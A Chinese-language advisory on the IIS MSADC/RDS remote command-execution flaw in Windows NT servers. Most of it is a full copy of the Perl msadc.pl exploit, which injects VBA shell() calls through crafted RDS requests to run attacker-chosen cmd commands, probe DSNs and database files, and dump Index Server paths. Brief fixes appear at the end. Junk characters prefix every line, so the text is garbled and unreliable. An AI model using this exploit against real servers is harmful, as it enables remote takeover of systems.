IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
B~K@o.% |B yw]\3v 涉及程序：
RwJ#G7S# Microsoft NT server
dr#g[}l'H o,dO.isgh> 描述：
Bj5_=oo+d 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Y -%g5 V +j58Wuf 详细：
gM~ dPM| 如果你没有时间读详细内容的话，就删除:
lArY lR } c:\Program Files\Common Files\System\Msadc\msadcs.dll
FGY4 u4y 有关的安全问题就没有了。
= s^KZV =oz $uD}? 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
tfW*(oU $Tci_(V=F 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
?UCK 关于利用ODBC远程漏洞的描述，请参看:
T<1* R>el y ,e# e` http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm is @8x!c h8OmO5/H 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
1 ;Bgt v$ http://www.microsoft.com/security/bulletins/MS99-025faq.asp w 9h`8pt L6S!?t.{Yv 这里不再论述。
vDl6TKXcu
`R]B<gp 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
QS.t_5<U !l f'gW /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
X&R ,-^ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
s3 ?pv r/E'#5 Q qk!")t #将下面这段保存为txt文件，然后: "perl -x 文件名"
#Duz|F+% hZ6CiEJB #!perl
ig|o l*~ #
_
T ;+* # MSADC/RDS 'usage' (aka exploit) script
=s3f{0G #
w$%d"Jm#X # by rain.forest.puppy
g*]Gc% #
0RmQfD> # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
t:|knZq # beta test and find errors!
P(B:tg sswYwU use Socket; use Getopt::Std;
Bs7/<$9K/ getopts("e:vd:h:XR", \%args);
`j+ [JMr /sHWJ?`&/, print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
F#d`nZ=M !U,W; R if (!defined $args{h} && !defined $args{R}) {
l Q/u#c$n print qq~
hS(}<B{x! Usage: msadc.pl -h <host> { -d <delay> -X -v }
(prqo1e@ -h <host> = host you want to scan (ip or domain)
:2^j/ -d <seconds> = delay between calls, default 1 second
U 8Rko) -X = dump Index Server path table, if available
6%'bo`S# -v = verbose
|oCE7'BaP -e = external dictionary file for step 5
!5 8j xh q=Cc2|Ve Or a -R will resume a command session
~@g7b`t=la gG5@ KD6k ~; exit;}
~:8}Bz2!5 ,|RS]I>X $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
)y8 u+5^ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
8)n 799<. if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
!e+ ex"7 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
v 809/c* $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Ej |rf Y if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
PU|
X+V> `yiw<9yp2 if (!defined $args{R}){ $ret = &has_msadc;
Cbw@:+%J{ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
u17e zW[fHa$m print "Please type the NT commandline you want to run (cmd /c assumed):\n"
~%)ug3%e . "cmd /c ";
MBlh lMyI $in=<STDIN>; chomp $in;
'L$%)`;e $command="cmd /c " . $in ;
G Zt+(q \jlem <& if (defined $args{R}) {&load; exit;}
E"8cB]`|8
ey4RKk, print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
%p? +r &try_btcustmr;
i n}N[ ``
!BE"yN print "\nStep 2: Trying to make our own DSN...";
aB@D-Y"HO &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
{{'GR"D =Yd{PZ*fR print "\nStep 3: Trying known DSNs...";
Hrz #S o\# &known_dsn;
9/[1a_
r A^\A^$|O6 print "\nStep 4: Trying known .mdbs...";
Ns3k(j16 &known_mdb;
Zp:(U3% /F/zMZGSA{ if (defined $args{e}){
V)HX +D> print "\nStep 5: Trying dictionary of DSN names...";
P[E:=p &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
frsqn vm;+ mBb;:- 5 print "Sorry Charley...maybe next time?\n";
Yfro^}f exit;
Q:U^):~ ^P)W/2 ##############################################################################
j^ y9+W_b tXZE@JyuC sub sendraw { # ripped and modded from whisker
s+9q`k^ sleep($delay); # it's a DoS on the server! At least on mine...
V(/ @$& my ($pstr)=@_;
8Jnl!4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
/3( a'o[ die("Socket problems\n");
cu)s sT if(connect(S,pack "SnA4x8",2,80,$target)){
os<YfMM<:/ select(S); $|=1;
/E(319u_ print $pstr; my @in=<S>;
mPhrMcL
select(STDOUT); close(S);
Ab|
t E5% return @in;
ui _nvD: } else { die("Can't connect...\n"); }}
Q7<_> )e^ 5X8 GR5P ##############################################################################
Io 8h 8N- d#Hl3]wT sub make_header { # make the HTTP request
kX0 hRX my $msadc=<<EOT
p_ H ;|m9 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
vUlG E User-Agent: ACTIVEDATA
PAYbsn Host: $ip
"t[9EbFL Content-Length: $clen
>gQJ6 q Connection: Keep-Alive
}@+3QHwYU N*vBu ` ADCClientVersion:01.06
'{e9Vh<x Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
pb>TUKvT& 6oh\#v3zV --!ADM!ROX!YOUR!WORLD!
r8]y1
Om< Content-Type: application/x-varg
{xW HKsI>, Content-Length: $reqlen
`,-w+3?Al Wc6Jgpl EOT
uv&??F]/ ; $msadc=~s/\n/\r\n/g;
D's Tv}P return $msadc;}
I-L52%E] 7FQ&LF46 ##############################################################################
G[;GP0\N x%J4A+kU sub make_req { # make the RDS request
tBJCfM my ($switch, $p1, $p2)=@_;
H8$ l }pOz my $req=""; my $t1, $t2, $query, $dsn;
CxvL !ew PT t#Ixn, if ($switch==1){ # this is the btcustmr.mdb query
@e`%' $query="Select * from Customers where City=" . make_shell();
REEs}88);' $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
FabDK : $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
{Kbb4%P+h ^( w %m# elsif ($switch==2){ # this is general make table query
eootH K $query="create table AZZ (B int, C varchar(10))";
]$4DhB $dsn="$p1";}
QQ*` tmy o#p{0y elsif ($switch==3){ # this is general exploit table query
[i"6\p & $query="select * from AZZ where C=" . make_shell();
#o>~@.S#:0 $dsn="$p1";}
c8@zpkMj/ E:_m6
m elsif ($switch==4){ # attempt to hork file info from index server
D'F j"&LK $query="select path from scope()";
qdss(LZ $dsn="Provider=MSIDXS;";}
O)2==_f\ ?2RDd|# elsif ($switch==5){ # bad query
()T l\ $query="select";
*-.{->#Y $dsn="$p1";}
||xiKg C[4{\3\Va $t1= make_unicode($query);
SC Qr/Q $t2= make_unicode($dsn);
[osI Q!u;: $req = "\x02\x00\x03\x00";
X-lB1uq^ $req.= "\x08\x00" . pack ("S1", length($t1));
e1Ne{zg~ $req.= "\x00\x00" . $t1 ;
rA v)k&l $req.= "\x08\x00" . pack ("S1", length($t2));
PUU
"k:{ $req.= "\x00\x00" . $t2 ;
Qs O%m $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
\/wbk`2 return $req;}
s xP1. = W vO?\u`vY ##############################################################################
}|KNw*h $ @zQ.d{ sub make_shell { # this makes the shell() statement
x>C_O \ return "'|shell(\"$command\")|'";}
g-4m.; yA+ NRWWj ##############################################################################
88]4 GVi NZ|(# ` X sub make_unicode { # quick little function to convert to unicode
bXiOf#:'' my ($in)=@_; my $out;
k}0Y&cT!rU for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
3QD+&9{D return $out;}
q cmf*Yl:v [.
rULQl ##############################################################################
6d# 7 =ws iC' sub rdo_success { # checks for RDO return success (this is kludge)
Zy J-}[z my (@in) = @_; my $base=content_start(@in);
_l ,_NV&T if($in[$base]=~/multipart\/mixed/){
dcn/|"jr return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Ifx
EM return 0;}
t.s;dlx[@
*v}3So ##############################################################################
oe4r_EkYwW Q EC4!$L^ sub make_dsn { # this makes a DSN for us
S;I>W&U my @drives=("c","d","e","f");
-ff@ W m print "\nMaking DSN: ";
><HHO
(74X foreach $drive (@drives) {
)j_Y9`R print "$drive: ";
[& d"Z2gK my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
u/ Gk>F "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
/ b;GC-"v . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
j#f7-nHyz8 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
@L-] %C return 0 if $2 eq "404"; # not found/doesn't exist
K/;*.u`: if($2 eq "200") {
MEI.wJZ foreach $line (@results) {
,UveH` n- return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
aAi " } return 0;}
U+4W9zhwo M^6!{c=MIi ##############################################################################
C/JFb zVx ^e~m`R2fHh sub verify_exists {
b}-/~l-: my ($page)=@_;
r8wi p\[ my @results=sendraw("GET $page HTTP/1.0\n\n");
#
o;\5MOE% return $results[0];}
(fTi1
I! )q8!:Z ##############################################################################
OL2 b /[FES 78p sub try_btcustmr {
myvn@OsEw my @drives=("c","d","e","f");
32S5Ai@Cd" my @dirs=("winnt","winnt35","winnt351","win","windows");
&*\-4)Tf 'CfM'f3uu foreach $dir (@dirs) {
`p JWZ:3 print "$dir -> "; # fun status so you can see progress
B/^1uPTZ71 foreach $drive (@drives) {
Z /*X)mBuB print "$drive: "; # ditto
LJ h^-FQ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Y+ Qm. $reqlenlen=length( "$reqlen" );
4k]DktY}. $clen= 206 + $reqlenlen + $reqlen;
V ."qxKsz qt.Y6s:r_ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
gP^p7aYwn if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
.S6u {B else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
%"gV>E_u C4h4W3w ##############################################################################
aj|gt *?`<Ea sub odbc_error {
<uf,@N5m my (@in)=@_; my $base;
hLo>jE
my $base = content_start(@in);
AnW72|=A( if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
u 6"v}gN $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
kKHGcm^r $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'VQ
mK# $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0{k*SC N# return $in[$base+4].$in[$base+5].$in[$base+6];}
~]l
T>|X print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
C%ZS sp
u print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
|EpL~ G_ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
V.?Oly m`lxQik ##############################################################################
:dML+R#Ymh LEgx"H =c sub verbose {
na0-v- my ($in)=@_;
pN-c9n4#j return if !$verbose;
x#hGJT print STDOUT "\n$in\n";}
dFw>SYrpu q)F@f / ##############################################################################
xU(yc}vw, %AV [vr, sub save {
;#+Se,) my ($p1, $p2, $p3, $p4)=@_;
{[tx^b open(OUT, ">rds.save") || print "Problem saving parameters...\n";
>VE!3' / ' print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
J12hjzk6@ close OUT;}
K."h}f95 .CAcG"42 ##############################################################################
%{j)w{
L J '>aj5tZ>R sub load {
vq_v; $9} my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
cq,8^o& open(IN,"<rds.save") || die("Couldn't open rds.save\n");
<ZwmXD.VD @p=<IN>; close(IN);
Rct=v DU $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
zjlo3=FQX[ $target= inet_aton($ip) || die("inet_aton problems");
R;3T yn+ print "Resuming to $ip ...";
T!3_Q/~^r $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
`ZLA=oD if($p[1]==1) {
dl; $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
]4
q6N $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
_ rIFwT1] my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
\|< 5zL if (rdo_success(@results)){print "Success!\n";}
#$*l#j"#A else { print "failed\n"; verbose(odbc_error(@results));}}
j%TcW!D-_ elsif ($p[1]==3){
QBwgI>zfS" if(run_query("$p[3]")){
j{ : >"6 print "Success!\n";} else { print "failed\n"; }}
_N2tf/C&= elsif ($p[1]==4){
-A3>+G3[ if(run_query($drvst . "$p[3]")){
W:TF8Onw print "Success!\n"; } else { print "failed\n"; }}
d 2=Z=udd exit;}
TQiD bgFo {klyVb ##############################################################################
z&W5@6")` o0`|r+E\ sub create_table {
k,M %"FLQ my ($in)=@_;
|j > fsk~ $reqlen=length( make_req(2,$in,"") ) - 28;
Xx;4 $reqlenlen=length( "$reqlen" );
!^*-]p/z $clen= 206 + $reqlenlen + $reqlen;
WY`hNT6M my @results=sendraw(make_header() . make_req(2,$in,""));
-'F? | return 1 if rdo_success(@results);
[(D^`K<b my $temp= odbc_error(@results); verbose($temp);
x J[Xmre return 1 if $temp=~/Table 'AZZ' already exists/;
15L0B5(3 return 0;}
u''~nSR3&
k\wcj^"cb ##############################################################################
^a?H " \}9GK`oR sub known_dsn {
J[7|Ul1
< # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
{I"` ( my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
9 ! 6\8 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
?=^ M(TA; "banner", "banners", "ads", "ADCDemo", "ADCTest");
H6! <y- iTpU4Qsj foreach $dSn (@dsns) {
<&Q(I+^ print ".";
Ljq !\D next if (!is_access("DSN=$dSn"));
dLnu\bSF if(create_table("DSN=$dSn")){
,f2tG+P print "$dSn successful\n";
[7|j:! if(run_query("DSN=$dSn")){
{ kF"<W print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
szG 0?e print "Something's borked. Use verbose next time\n";}}} print "\n";}
*LZ^0c: r vi-mn)L6# ##############################################################################
%I>-_el Or9`E( sub is_access {
q(YFt* (;w my ($in)=@_;
A=a~ [vre $reqlen=length( make_req(5,$in,"") ) - 28;
-|\SNbPTV $reqlenlen=length( "$reqlen" );
*M^t@ h l $clen= 206 + $reqlenlen + $reqlen;
{24Y1ohK my @results=sendraw(make_header() . make_req(5,$in,""));
@w]z"UCwV@ my $temp= odbc_error(@results);
DD(K@M verbose($temp); return 1 if ($temp=~/Microsoft Access/);
8/16<yZ return 0;}
f:6%DT~a&C TP-<Lhy ##############################################################################
]%8f-_fS y jh3X G sub run_query {
F')f i0= my ($in)=@_;
klqN9d9k
$reqlen=length( make_req(3,$in,"") ) - 28;
Y\pRk6, $reqlenlen=length( "$reqlen" );
$GcVI ;a $clen= 206 + $reqlenlen + $reqlen;
C6P(86? my @results=sendraw(make_header() . make_req(3,$in,""));
|4tnG& = return 1 if rdo_success(@results);
LG6 k
KG my $temp= odbc_error(@results); verbose($temp);
g3"eEg5 NY return 0;}
w\PCBY= O"Ua|8 ##############################################################################
#vnJJ#uI|> | Vq&IfP sub known_mdb {
3$hbb6N%6. my @drives=("c","d","e","f","g");
k=o>DaEh( my @dirs=("winnt","winnt35","winnt351","win","windows");
SFd SA4D" my $dir, $drive, $mdb;
nL[ zXl my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
W<"{d us,1:@a)a # this is sparse, because I don't know of many
tm[e?+Iq my @sysmdbs=( "\\catroot\\icatalog.mdb",
y!;PBsU%Sx "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
`4N{x. N "\\system32\\certmdb.mdb",
Pa}B0XBWP "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
LtDQgel" pHpHvSI my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
!o k6*m "\\cfusion\\cfapps\\forums\\forums_.mdb",
G d 08RW "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
m=7Z8@sX}, "\\cfusion\\cfapps\\security\\realm_.mdb",
vKCgtk "\\cfusion\\cfapps\\security\\data\\realm.mdb",
!R/- |Kjy "\\cfusion\\database\\cfexamples.mdb",
lx vRF93a. "\\cfusion\\database\\cfsnippets.mdb",
$4j$c|S! "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Q'mLwD3> "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
y_Tc$g ~ "\\cfusion\\brighttiger\\database\\cleam.mdb",
S5$sB{\R "\\cfusion\\database\\smpolicy.mdb",
D#?jd dr- "\\cfusion\\database\cypress.mdb",
ju= +!nGUa "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Z O ! "\\website\\cgi-win\\dbsample.mdb",
,*w "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
BL&D|e "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
QlFt:?7f ); #these are just
H^e0fm
foreach $drive (@drives) {
kQY+D1 foreach $dir (@dirs){
#ErIot foreach $mdb (@sysmdbs) {
5cza0CriJ print ".";
RC']"j pW if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
*xl930y print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
3n=`SLj/a if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
s?2DLXv}! print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
U.[?1: v } else { print "Something's borked. Use verbose next time\n"; }}}}}
er[%Nt+99 /K WR08ftp foreach $drive (@drives) {
uDZ$'a foreach $mdb (@mdbs) {
J^G#x}y print ".";
+-B`Fya if(create_table($drv . $drive . $dir . $mdb)){
nvdo| 5 print "\n" . $drive . $dir . $mdb . " successful\n";
A,2dK}\> if(run_query($drv . $drive . $dir . $mdb)){
{#c* *' 4 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
`S{Blv } else { print "Something's borked. Use verbose next time\n"; }}}}
R1%2]? }
{ MaFv l6C^,xU~IX ##############################################################################
$j\UD8Hj'- ~GWn > sub hork_idx {
h6Vm;{ ~ print "\nAttempting to dump Index Server tables...\n";
>,JA=s print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
kZ0|wML8 $reqlen=length( make_req(4,"","") ) - 28;
bxS+ R\ $reqlenlen=length( "$reqlen" );
D3>;X= 1 $clen= 206 + $reqlenlen + $reqlen;
j+_pF<$f: my @results=sendraw2(make_header() . make_req(4,"",""));
D =Pv:)*] if (rdo_success(@results)){
a V4p0s6ZZ my $max=@results; my $c; my %d;
u* <G20~A for($c=19; $c<$max; $c++){
K^_Mt!% $results[$c]=~s/\x00//g;
VTQxg5P c $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
y@L-qO+{& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
8jnz;;| $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
NN t,J; $d{"$1$2"}="";}
P
K]$D[a0 foreach $c (keys %d){ print "$c\n"; }
4Z Z/R?AiK } else {print "Index server doesn't seem to be installed.\n"; }}
gDmw Jr ^:0e p j7 ##############################################################################
UBUZ}ZIbN pzMli ^ sub dsn_dict {
.Fy f4^0 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
R tR5ij1 while(<IN>){
dtdz!'q)Y $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
|^ao,3h# next if (!is_access("DSN=$dSn"));
.i7bI 2^ if(create_table("DSN=$dSn")){
_Vs\:tygs print "$dSn successful\n";
Nz ,8NM] if(run_query("DSN=$dSn")){
+U%U3tAvs print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
3KF[ v{ print "Something's borked. Use verbose next time\n";}}}
k]n=7vw; print "\n"; close(IN);}
+;}XWV f8Xe%"< ##############################################################################
9*@K l` \ -'tgr6=|w" sub sendraw2 { # ripped and modded from whisker
bIP'(B#1K sleep($delay); # it's a DoS on the server! At least on mine...
ZjE!?
'(ef my ($pstr)=@_;
4 I> I socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
amL8yb die("Socket problems\n");
(L)tC*Qjc
if(connect(S,pack "SnA4x8",2,80,$target)){
>?$+hZz< print "Connected. Getting data";
0nF>E@ j^[ open(OUT,">raw.out"); my @in;
NC*h7 select(S); $|=1; print $pstr;
u0md ^ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
rsp?N{e close(OUT); select(STDOUT); close(S); return @in;
0@9.h{s@ } else { die("Can't connect...\n"); }}
'~^3 =[Z *j,5TO-j ##############################################################################
$Q[>v !!X bBQ1 ~ R sub content_start { # this will take in the server headers
ldJ:A*/M6 my (@in)=@_; my $c;
V 4RtH for ($c=1;$c<500;$c++) {
JZ[~3swR if($in[$c] =~/^\x0d\x0a/){
QOECpk- if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
3q=A35*LT> else { return $c+1; }}}
w,\#)<boyb return -1;} # it should never get here actually
o,!r t1&0 b@OL !?JP ##############################################################################
Sn F3I DR`d^aBWQ sub funky {
|( e `V
my (@in)=@_; my $error=odbc_error(@in);
rurC! - if($error=~/ADO could not find the specified provider/){
4s<*rKm~ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
pcM'j #; exit;}
hCX}* if($error=~/A Handler is required/){
v'C`;I print "\nServer has custom handler filters (they most likely are patched)\n";
!O=J8;oLk exit;}
Wm p,,H if($error=~/specified Handler has denied Access/){
FDB^JH9d print "\nServer has custom handler filters (they most likely are patched)\n";
5Pis 0fa exit;}}
H1PW/AW Z6}B}5@y ##############################################################################
$Nr :YI ! K~PH sub has_msadc {
&#'[]V%^F my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
4# ?Ox vH my $base=content_start(@results);
p7Yej(B return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
.[1"Med J return 0;}
':71;^zXf "WTnC0< ########################
*/Oq$3QGsV vj I>TIy
Vwp fkD` 解决方案：
UW+|1Bj_: 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
R qS2Qo] 2、移除web 目录: /msadc
